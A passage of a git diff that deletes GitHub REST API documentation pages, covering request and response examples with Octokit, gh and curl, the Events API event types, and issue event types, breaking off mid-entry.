%} - auth: 'YOUR-TOKEN' - }); - ``` - -1. Use `octokit.request` to execute your request. - - * Send the HTTP method and path as the first argument to the `request` method. For more information, see [HTTP method](#http-method) and [Path](#path). - * Specify all path, query, and body parameters in an object as the second argument to the `request` method. For more information, see [Parameters](#parameters). - - In the following example request, the HTTP method is `POST`, the path is `/repos/{owner}/{repo}/issues`, the path parameters are `owner: "{% ifversion ghes %}REPO-OWNER{% else %}octocat{% endif %}"` and `repo: "{% ifversion ghes %}REPO-NAME{% else %}Spoon-Knife{% endif %}"`, and the body parameters are `title: "Created with the REST API"` and `body: "This is a test issue created by the REST API"`.{% ifversion ghes %} Replace `REPO-OWNER` with the name of the account that owns the repository, and `REPO-NAME` with the name of the repository.{% endif %} - - > [!NOTE] - > If you are using a {% data variables.product.pat_v2 %}, you must replace `{% ifversion ghes %}REPO-OWNER` and `REPO-NAME{% else %}octocat/Spoon-Knife{% endif %}` with a repository that you own or that is owned by an organization that you are a member of. Your token must have access to that repository and have read and write permissions for repository issues. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - - ```javascript copy - await octokit.request("POST /repos/{owner}/{repo}/issues", { - owner: "{% ifversion ghes %}REPO-OWNER{% else %}octocat{% endif %}", - repo: "{% ifversion ghes %}REPO-NAME{% else %}Spoon-Knife{% endif %}", - title: "Created with the REST API", - body: "This is a test issue created by the REST API", - }); - ``` - - The `request` method automatically passes the `Accept: application/vnd.github+json` header. To pass additional headers or a different `Accept` header, add a `headers` property to the object that is passed as a second argument. The value of the `headers` property is an object with the header names as keys and header values as values. - - For example, the following code will send a `content-type` header with a value of `text/plain` and a `X-GitHub-Api-Version` header with a value of `{{ allVersions[currentVersion].latestApiVersion }}`. - - ```javascript copy - await octokit.request("GET /octocat", { - headers: { - "content-type": "text/plain", - "X-GitHub-Api-Version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - }); - ``` - -{% endjavascript %} - -## Using the response - -After you make a request, the API will return the response status code, response headers, and potentially a response body. - -### About the response code and headers - -Every request will return an HTTP status code that indicates the success of the response. For more information about response codes, see [the MDN HTTP response status code documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status). - -Additionally, the response will include headers that give more details about the response. Headers that start with `X-` or `x-` are custom to {% data variables.product.company_short %}. For example, the `x-ratelimit-remaining` and `x-ratelimit-reset` headers tell you how many requests you can make in a time period. - -{% cli %} - -To view the status code and headers, use the `--include` or `--i` option when you send your request. - -For example, this request gets a list of issues in {% ifversion ghes %}a specified{% else %}the octocat/Spoon-Knife{% endif %} repository: - -```shell -gh api \ ---header 'Accept: application/vnd.github+json' \ ---method GET /repos/{% ifversion ghes %}REPO-OWNER/REPO-NAME{% else %}octocat/Spoon-Knife{% endif %}/issues \ --F per_page=2 --include -``` - -And it returns a response code and headers that look something like this: - -```shell -HTTP/2.0 200 OK -Access-Control-Allow-Origin: * -Access-Control-Expose-Headers: ETag, Link, Location, Retry-After, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset -Cache-Control: private, max-age=60, s-maxage=60 -Content-Security-Policy: default-src 'none' -Content-Type: application/json; charset=utf-8 -Date: Thu, 04 Aug 2022 19:56:41 GMT -Etag: W/"a63dfbcfdb73621e9d2e89551edcf9856731ced534bd7f1e114a5da1f5f73418" -Link: ; rel="next", ; rel="last" -Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin -Server: GitHub.com -Strict-Transport-Security: max-age=31536000; includeSubdomains; preload -Vary: Accept, Authorization, Cookie, Accept-Encoding, Accept, X-Requested-With -X-Accepted-Oauth-Scopes: repo -X-Content-Type-Options: nosniff -X-Frame-Options: deny -X-Github-Api-Version-Selected: 2022-08-09 -X-Github-Media-Type: github.v3; format=json -X-Github-Request-Id: 1C73:26D4:E2E500:1EF78F4:62EC2479 -X-Oauth-Client-Id: 178c6fc778ccc68e1d6a -X-Oauth-Scopes: gist, read:org, repo, workflow -X-Ratelimit-Limit: 15000 -X-Ratelimit-Remaining: 14996 -X-Ratelimit-Reset: 1659645499 -X-Ratelimit-Resource: core -X-Ratelimit-Used: 4 -X-Xss-Protection: 0 -``` - -In this example, the response code is `200`, which indicates a successful request. - -{% endcli %} - -{% javascript %} - -When you make a request with Octokit.js, the `request` method returns a promise. If the request was successful, the promise resolves to an object that includes the HTTP status code of the response (`status`) and the response headers (`headers`). If an error occurs, the promise resolves to an object that includes the HTTP status code of the response (`status`) and the response headers (`response.headers`). - -You can use a `try/catch` block to catch an error if it occurs. For example, if the request in the following script is successful, the script will log the status code and the value of the `x-ratelimit-remaining` header. If the request was not successful, the script will log the status code, the value of the `x-ratelimit-remaining` header, and the error message. - -In the following example, replace `REPO-OWNER` with the name of the account that owns the repository, and `REPO-NAME` with the name of the repository. - -```javascript copy -try { - const result = await octokit.request("GET /repos/{owner}/{repo}/issues", { - owner: "REPO-OWNER", - repo: "REPO-NAME", - per_page: 2, - }); - - console.log(`Success! Status: ${result.status}. Rate limit remaining: ${result.headers["x-ratelimit-remaining"]}`) - -} catch (error) { - console.log(`Error! Status: ${error.status}. Rate limit remaining: ${error.headers["x-ratelimit-remaining"]}. Message: ${error.response.data.message}`) -} -``` - -{% endjavascript %} - -{% curl %} - -To view the status code and headers, use the `--include` or `--i` option when you send your request. - -For example, this request gets a list of issues in {% ifversion ghes %}a specified{% else %}the octocat/Spoon-Knife{% endif %} repository: - -```shell -curl --request GET \ ---url "https://api.github.com/repos/{% ifversion ghes %}REPO-OWNER/REPO-NAME{% else %}octocat/Spoon-Knife{% endif %}/issues?per_page=2" \ ---header "Accept: application/vnd.github+json" \ ---header "Authorization: Bearer YOUR-TOKEN" \ ---include -``` - -And it returns a response code and headers that look something like this: - -```shell -HTTP/2 200 -server: GitHub.com -date: Thu, 04 Aug 2022 20:07:51 GMT -content-type: application/json; charset=utf-8 -cache-control: public, max-age=60, s-maxage=60 -vary: Accept, Accept-Encoding, Accept, X-Requested-With -etag: W/"7fceb7e8c958d3ec4d02524b042578dcc7b282192e6c939070f4a70390962e18" -x-github-media-type: github.v3; format=json -link: ; rel="next", ; rel="last" -access-control-expose-headers: ETag, Link, Location, Retry-After, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset -access-control-allow-origin: * -strict-transport-security: max-age=31536000; includeSubdomains; preload -x-frame-options: deny -x-content-type-options: nosniff -x-xss-protection: 0 -referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin -content-security-policy: default-src 'none' -x-ratelimit-limit: 15000 -x-ratelimit-remaining: 14996 -x-ratelimit-reset: 1659645535 -x-ratelimit-resource: core -x-ratelimit-used: 4 -accept-ranges: bytes -content-length: 4936 -x-github-request-id: 14E0:4BC6:F1B8BA:208E317:62EC2715 -``` - -In this example, the response code is `200`, which indicates a successful request. - -{% endcurl %} - -### About the response body - -Many endpoints will return a response body. Unless otherwise specified, the response body is in JSON format. Blank fields are included as `null` instead of being omitted. All timestamps return in UTC time, ISO 8601 format: `YYYY-MM-DDTHH:MM:SSZ`. - -Unlike the GraphQL API where you specify what information you want, the REST API typically returns more information than you need. If desired, you can parse the response to pull out specific pieces of information. - -{% cli %} - -For example, you can use `>` to redirect the response to a file. In the following example, replace `REPO-OWNER` with the name of the account that owns the repository, and `REPO-NAME` with the name of the repository. - -```shell copy -gh api \ ---header 'Accept: application/vnd.github+json' \ ---method GET /repos/REPO-OWNER/REPO-NAME/issues \ --F per_page=2 > data.json -``` - -Then you can use jq to get the title and author ID of each issue: - -```shell copy -jq '.[] | {title: .title, authorID: .user.id}' data.json -``` - -The previous two commands return something like: - -```json -{ - "title": "Update index.html", - "authorID": 10701255 -} -{ - "title": "Edit index file", - "authorID": 53709285 -} -``` - -For more information about jq, see [the jq documentation](https://stedolan.github.io/jq/). - -{% endcli %} - -{% javascript %} - -For example, you can get the title and author ID of each issue. In the following example, replace `REPO-OWNER` with the name of the account that owns the repository, and `REPO-NAME` with the name of the repository. - -```javascript copy -try { - const result = await octokit.request("GET /repos/{owner}/{repo}/issues", { - owner: "REPO-OWNER", - repo: "REPO-NAME", - per_page: 2, - }); - - const titleAndAuthor = result.data.map(issue => {title: issue.title, authorID: issue.user.id}) - - console.log(titleAndAuthor) - -} catch (error) { - console.log(`Error! Status: ${error.status}. Message: ${error.response.data.message}`) -} -``` - -{% endjavascript %} - -{% curl %} - -For example, you can use `>` to redirect the response to a file. In the following example, replace `REPO-OWNER` with the name of the account that owns the repository, and `REPO-NAME` with the name of the repository.{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - -```shell copy -curl --request GET \ ---url "{% data variables.product.rest_url %}/repos/REPO-OWNER/REPO-NAME/issues?per_page=2" \ ---header "Accept: application/vnd.github+json" \ ---header "Authorization: Bearer YOUR-TOKEN" > data.json -``` - -Then you can use jq to get the title and author ID of each issue: - -```shell copy -jq '.[] | {title: .title, authorID: .user.id}' data.json -``` - -The previous two commands return something like: - -```json -{ - "title": "Update index.html", - "authorID": 10701255 -} -{ - "title": "Edit index file", - "authorID": 53709285 -} -``` - -For more information about jq, see [the jq documentation](https://stedolan.github.io/jq/). - -{% endcurl %} - -#### Detailed versus summary representations - -A response can include all attributes for a resource or only a subset of attributes, depending on whether you fetch an individual resource or a list of resources. - -* When you fetch an _individual resource_, like a specific repository, the response will typically include all attributes for that resource. This is the "detailed" representation of the resource. -* When you fetch a _list of resources_, like a list of multiple repositories, the response will only include a subset of the attributes for each resource. This is the "summary" representation of the resource. - -Note that authorization sometimes influences the amount of detail included in a representation. - -The reason for this is because some attributes are computationally expensive for the API to provide, so {% data variables.product.prodname_dotcom %} excludes those attributes from the summary representation. To obtain those attributes, you can fetch the detailed representation. - -The documentation provides an example response for each API method. The example response illustrates all attributes that are returned by that method. - -#### Hypermedia - -All resources may have one or more `*_url` properties linking to other resources. These are meant to provide explicit URLs so that proper API clients don't need to construct URLs on their own. It is highly recommended that API clients use these. Doing so will make future upgrades of the API easier for developers. All URLs are expected to be proper [RFC 6570](https://datatracker.ietf.org/doc/html/rfc6570) URI templates. - -You can then expand these templates using something like the [uri_template](https://github.com/hannesg/uri_template) gem: - -```ruby ->> tmpl = URITemplate.new('/notifications{?since,all,participating}') ->> tmpl.expand -=> "/notifications" - ->> tmpl.expand all: 1 -=> "/notifications?all=1" - ->> tmpl.expand all: 1, participating: 1 -=> "/notifications?all=1&participating=1" -``` - -## Next steps - -This article demonstrated how to list and create issues in a repository. For more practice, try to comment on an issue, edit the title of an issue, or close an issue. For more information, see the ["Create an issue comment" endpoint](/rest/issues/comments#create-an-issue-comment) and the ["Update an issue" endpoint](/rest/issues/issues#update-an-issue). - -For more information about other endpoints that you can use, see the [REST reference documentation](/rest). diff --git a/content/rest/using-the-rest-api/github-event-types.md b/content/rest/using-the-rest-api/github-event-types.md deleted file mode 100644 index c8c9fa71bc06..000000000000 --- a/content/rest/using-the-rest-api/github-event-types.md +++ /dev/null @@ -1,288 +0,0 @@ ---- -title: GitHub event types -intro: 'For the {% data variables.product.prodname_dotcom %} Events API, learn about each event type, the triggering action on {% data variables.product.prodname_dotcom %}, and each event''s unique properties.' -redirect_from: - - /v3/activity/event_types - - /developers/webhooks-and-events/github-event-types - - /developers/webhooks-and-events/events/github-event-types - - /webhooks-and-events/events/github-event-types - - /developers/webhooks-and-events/events - - /rest/overview/github-event-types -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Events ---- -The Events API can return different types of events triggered by activity on GitHub. Each event response contains shared properties, but has a unique `payload` object determined by its event type. The [Event object common properties](#event-object-common-properties) describes the properties shared by all events, and each event type describes the `payload` properties that are unique to the specific event. - -{% ifversion fpt or ghec %} - -{% endif %} - -## Event object common properties - -The event objects returned from the Events API endpoints have the same structure. - -| Event API attribute name | Type | Description | -|--------------------------|-------------|-------------| -| `id` | `integer` | Unique identifier for the event. | -| `type` | `string` | The type of event. Events uses PascalCase for the name. | -| `actor` | `object` | The user that triggered the event. | -| `actor.id` | `integer` | The unique identifier for the actor. | -| `actor.login` | `string` | The username of the actor. | -| `actor.display_login` | `string` | The specific display format of the username. | -| `actor.gravatar_id` | `string` | The unique identifier of the Gravatar profile for the actor. | -| `actor.url` | `string` | The REST API URL used to retrieve the user object, which includes additional user information. | -| `actor.avatar_url` | `string` | The URL of the actor's profile image. | -| `repo` | `object` | The repository object where the event occurred. | -| `repo.id` | `integer` | The unique identifier of the repository. | -| `repo.name` | `string` | The name of the repository, which includes the owner and repository name. For example, `octocat/hello-world` is the name of the `hello-world` repository owned by the `octocat` personal account. | -| `repo.url` | `string` | The REST API URL used to retrieve the repository object, which includes additional repository information. | -| `payload` | `object` | The event payload object is unique to the event type. See the event type below for the event API `payload` object. | -| `public` | `boolean` | Whether the event is visible to all users. | -| `created_at` | `string` | The date and time when the event was triggered. It is formatted according to ISO 8601. | -| `org` | `object` | The organization that was chosen by the actor to perform action that triggers the event.
_The property appears in the event object only if it is applicable._ | -| `org.id` | `integer` | The unique identifier for the organization. | -| `org.login` | `string` | The name of the organization. | -| `org.gravatar_id` | `string` | The unique identifier of the Gravatar profile for the organization. | -| `org.url` | `string` | The REST API URL used to retrieve the organization object, which includes additional organization information. | -| `org.avatar_url` | `string` | The URL of the organization's profile image. | - -### Example WatchEvent event object - -This example shows the format of the [WatchEvent](#watchevent) response when using the [Events API](/rest/activity/events). - -```http -HTTP/2 200 -Link: ; rel="next", - ; rel="last" -``` - -```json -[ - { - "type": "WatchEvent", - "public": false, - "payload": { - }, - "repo": { - "id": 3, - "name": "octocat/Hello-World", - "url": "https://api.github.com/repos/octocat/Hello-World" - }, - "actor": { - "id": 1, - "login": "octocat", - "gravatar_id": "", - "avatar_url": "https://github.com/images/error/octocat_happy.gif", - "url": "https://api.github.com/users/octocat" - }, - "org": { - "id": 1, - "login": "github", - "gravatar_id": "", - "url": "https://api.github.com/orgs/github", - "avatar_url": "https://github.com/images/error/octocat_happy.gif" - }, - "created_at": "2011-09-06T17:26:27Z", - "id": "12345" - } -] -``` - -## CommitCommentEvent - -{% data reusables.webhooks.commit_comment_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for CommitCommentEvent - -{% data reusables.webhooks.commit_comment_properties %} - -## CreateEvent - -{% data reusables.webhooks.create_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for CreateEvent - -{% data reusables.webhooks.create_properties %} - -## DeleteEvent - -{% data reusables.webhooks.delete_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for DeleteEvent - -{% data reusables.webhooks.delete_properties %} - -## ForkEvent - -{% data reusables.webhooks.fork_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for ForkEvent - -{% data reusables.webhooks.fork_properties %} - -## GollumEvent - -{% data reusables.webhooks.gollum_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for GollumEvent - -{% data reusables.webhooks.gollum_properties %} - -## IssueCommentEvent - -{% data reusables.webhooks.issue_comment_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for IssueCommentEvent - -{% data reusables.webhooks.issue_comment_webhook_properties %} -{% data reusables.webhooks.issue_comment_properties %} - -## IssuesEvent - -{% data reusables.webhooks.issues_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for IssuesEvent - -{% data reusables.webhooks.issue_event_api_properties %} -{% data reusables.webhooks.issue_properties %} - -## MemberEvent - -{% data reusables.webhooks.member_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for MemberEvent - -{% data reusables.webhooks.member_event_api_properties %} -{% data reusables.webhooks.member_properties %} - -## PublicEvent - -{% data reusables.webhooks.public_short_desc %} - -### Event `payload` object for PublicEvent - -This event returns an empty `payload` object. - -## PullRequestEvent - -{% data reusables.webhooks.pull_request_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for PullRequestEvent - -{% data reusables.webhooks.pull_request_event_api_properties %} -{% data reusables.webhooks.pull_request_properties %} - -## PullRequestReviewEvent - -{% data reusables.webhooks.pull_request_review_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for PullRequestReviewEvent - -Key | Type | Description -----|------|------------- -`action` | `string` | The action that was performed. Can be `created`. -`pull_request` | `object` | The pull request the review pertains to. -`review` | `object` | The review that was affected. - -## PullRequestReviewCommentEvent - -{% data reusables.webhooks.pull_request_review_comment_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for PullRequestReviewCommentEvent - -{% data reusables.webhooks.pull_request_review_comment_event_api_properties %} -{% data reusables.webhooks.pull_request_review_comment_properties %} - -## PullRequestReviewThreadEvent - -{% data reusables.webhooks.pull_request_review_thread_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for PullRequestReviewThreadEvent - -{% data reusables.webhooks.pull_request_thread_properties %} - -## PushEvent - -{% data reusables.webhooks.push_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for PushEvent - -Key | Type | Description -----|------|------------- -`push_id` | `integer` | Unique identifier for the push. -`size`|`integer` | The number of commits in the push. -`distinct_size`|`integer` | The number of distinct commits in the push. -`ref`|`string` | The full [`git ref`](/rest/git/refs) that was pushed. Example: `refs/heads/main`. -`head`|`string` | The SHA of the most recent commit on `ref` after the push. -`before`|`string` | The SHA of the most recent commit on `ref` before the push. -`commits`|`array` | An array of commit objects describing the pushed commits. (The array includes a maximum of 20 commits. If necessary, you can use the [Commits API](/rest/repos#commits) to fetch additional commits. This limit is applied to timeline events only and isn't applied to webhook deliveries.) -`commits[][sha]`|`string` | The SHA of the commit. -`commits[][message]`|`string` | The commit message. -`commits[][author]`|`object` | The git author of the commit. -`commits[][author][name]`|`string` | The git author's name. -`commits[][author][email]`|`string` | The git author's email address. -`commits[][url]`|`url` | URL that points to the commit API resource. -`commits[][distinct]`|`boolean` | Whether this commit is distinct from any that have been pushed before. - -## ReleaseEvent - -{% data reusables.webhooks.release_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for ReleaseEvent - -{% data reusables.webhooks.release_event_api_properties %} -{% data reusables.webhooks.release_properties %} - -{% ifversion fpt or ghec %} - -## SponsorshipEvent - -{% data reusables.webhooks.sponsorship_short_desc %} - -### Event `payload` object for SponsorshipEvent - -{% data reusables.webhooks.sponsorship_event_api_properties %} -{% data reusables.webhooks.sponsorship_properties %} -{% endif %} - -## WatchEvent - -{% data reusables.webhooks.watch_short_desc %} - -{% data reusables.webhooks.events_api_payload %} - -### Event `payload` object for WatchEvent - -{% data reusables.webhooks.watch_properties %} diff --git a/content/rest/using-the-rest-api/index.md b/content/rest/using-the-rest-api/index.md deleted file mode 100644 index abf5a32ba5e6..000000000000 --- a/content/rest/using-the-rest-api/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Using the REST API -intro: 'Learn how to use the {% data variables.product.prodname_dotcom %} REST API, follow best practices, and troubleshoot problems.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /getting-started-with-the-rest-api - - /rate-limits-for-the-rest-api - - /using-pagination-in-the-rest-api - - /libraries-for-the-rest-api - - /best-practices-for-using-the-rest-api - - /troubleshooting-the-rest-api - - /timezones-and-the-rest-api - - /using-cors-and-jsonp-to-make-cross-origin-requests - - /issue-event-types - - /github-event-types ---- diff --git a/content/rest/using-the-rest-api/issue-event-types.md b/content/rest/using-the-rest-api/issue-event-types.md deleted file mode 100644 index 0e92deed4829..000000000000 --- a/content/rest/using-the-rest-api/issue-event-types.md +++ /dev/null @@ -1,967 +0,0 @@ ---- -title: Issue event types -intro: 'For the REST APIs for issue events and timeline events, learn about each event type, the triggering action on {% data variables.product.prodname_dotcom %}, and each event''s unique properties.' -redirect_from: - - /v3/issues/issue-event-types - - /developers/webhooks-and-events/issue-event-types - - /developers/webhooks-and-events/events/issue-event-types - - /webhooks-and-events/events/issue-event-types - - /rest/overview/issue-event-types -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Events ---- -Issue events are triggered by activity in issues and pull requests and are available in the REST API for [Issue events](/rest/issues/events) and [Timeline events](/rest/issues/timeline). Each event type specifies whether the event is available in the REST API for issue events or timeline events. - -GitHub's REST API considers every pull request to be an issue, but not every issue is a pull request. For this reason, the Issue Events and Timeline Events endpoints may return both issues and pull requests in the response. Pull requests have a `pull_request` property in the `issue` object. Because pull requests are issues, issue and pull request numbers do not overlap in a repository. For example, if you open your first issue in a repository, the number will be 1. If you then open a pull request, the number will be 2. Each event type specifies if the event occurs in pull request, issues, or both. - -## Issue event object common properties - -Issue events all have the same object structure, except events that are only available in the REST API for timeline events. Some events also include additional properties that provide more context about the event resources. Refer to the specific event for details about any properties that differ from this object format. - -{% data reusables.issue-events.issue-event-common-properties %} - -## added_to_project - -The issue or pull request was added to a {% data variables.projects.projects_v1_board %}. {% data reusables.projects.disabled-projects %} - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for added_to_project - -{% data reusables.pre-release-program.starfox-preview %} -{% data reusables.pre-release-program.api-preview-warning %} - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.project-card-properties %} - -## assigned - -The issue or pull request was assigned to a user. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for assigned - -{% data reusables.issue-events.issue-event-common-properties %} -`assignee` | `object` | The person assigned to this issue. -`assigner` | `object` | The person who performed the assignment for this issue. This field is available in the REST API for issue events but not the REST API for timeline events. - -## automatic_base_change_failed - -GitHub unsuccessfully attempted to automatically change the base branch of the pull request. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | - -{% endrowheaders %} - -### Properties for automatic_base_change_failed - -{% data reusables.issue-events.issue-event-common-properties %} - -## automatic_base_change_succeeded - -GitHub successfully attempted to automatically change the base branch of the pull request. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | - -{% endrowheaders %} - -### Properties for automatic_base_change_succeeded - -{% data reusables.issue-events.issue-event-common-properties %} - -## base_ref_changed - -The base reference branch of the pull request changed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | - -{% endrowheaders %} - -### Properties for base_ref_changed - -{% data reusables.issue-events.issue-event-common-properties %} - -## closed - -The issue or pull request was closed. When the `commit_id` is present, it identifies the commit that closed the issue using "closes / fixes" syntax. For more information about the syntax, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword). - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for closed - -{% data reusables.issue-events.issue-event-common-properties %} - -## commented - -A comment was added to the issue or pull request. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for commented - -{% data reusables.issue-events.timeline_events_object_properties %} - -Name | Type | Description ------|------|-------------- -`url` | `string` | The REST API URL to retrieve the issue comment. -`html_url` | `string` | The HTML URL of the issue comment. -`issue_url` | `string` | The HTML URL of the issue. -`id` | `integer` | The unique identifier of the event. -`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event. -`user` | `object` | The person who commented on the issue. -`created_at` | `string` | The timestamp indicating when the comment was added. -`updated_at` | `string` | The timestamp indicating when the comment was updated or created, if the comment is never updated. -`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment. -`body` | `string` | The comment body text. -`event` | `string` | The event value is `"commented"`. -`actor` | `object` | The person who generated the event. - -## committed - -A commit was added to the pull request's `HEAD` branch. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for committed - -{% data reusables.issue-events.timeline_events_object_properties %} - -Name | Type | Description ------|------|-------------- -`sha` | `string` | The SHA of the commit in the pull request. -`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event. -`url` | `string` | The REST API URL to retrieve the commit. -`html_url` | `string` | The HTML URL of the commit. -`author` | `object` | The person who authored the commit. -`committer` | `object` | The person who committed the commit on behalf of the author. -`tree` | `object` | The Git tree of the commit. -`message` | `string` | The commit message. -`parents` | `array of objects` | A list of parent commits. -`verification` | `object` | The result of verifying the commit's signature. For more information, see [AUTOTITLE](/rest/git/commits#get-a-commit). -`event` | `string` | The event value is `"committed"`. - -## connected - -The issue or pull request was linked to another issue or pull request. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for connected - -{% data reusables.issue-events.issue-event-common-properties %} - -## convert_to_draft - -The pull request was converted to draft mode. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for convert_to_draft - -{% data reusables.issue-events.issue-event-common-properties %} - -## converted_note_to_issue - -The issue was created by converting a note in a {% data variables.projects.projects_v1_board %} to an issue. {% data reusables.projects.disabled-projects %} - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for converted_note_to_issue - -{% data reusables.pre-release-program.starfox-preview %} -{% data reusables.pre-release-program.api-preview-warning %} - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.project-card-properties %} - -## converted_to_discussion - -The issue was closed and converted to a discussion. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for converted_to_discussion - -{% data reusables.issue-events.issue-event-common-properties %} - -## cross-referenced - -The issue or pull request was referenced from another issue or pull request. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for cross-referenced - -{% data reusables.issue-events.timeline_events_object_properties %} - -Name | Type | Description ------|------|-------------- -`actor` | `object` | The person who generated the event. -`created_at` | `string` | The timestamp indicating when the cross-reference was added. -`updated_at` | `string` | The timestamp indicating when the cross-reference was updated or created, if the cross-reference is never updated. -`source` | `object` | The issue or pull request that added a cross-reference. -`source[type]` | `string` | This value will always be `"issue"` because pull requests are of type issue. Only cross-reference events triggered by issues or pull requests are returned in the REST API for timeline events. To determine if the issue that triggered the event is a pull request, you can check if the `source[issue][pull_request]` object exists. -`source[issue]` | `object` | The `issue` object that added the cross-reference. -`event` | `string` | The event value is `"cross-referenced"`. - -## demilestoned - -The issue or pull request was removed from a milestone. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for demilestoned - -{% data reusables.issue-events.issue-event-common-properties %} -`milestone` | `object` | The milestone object. -`milestone[title]` | `string` | The title of the milestone. - -## deployed - -The pull request was 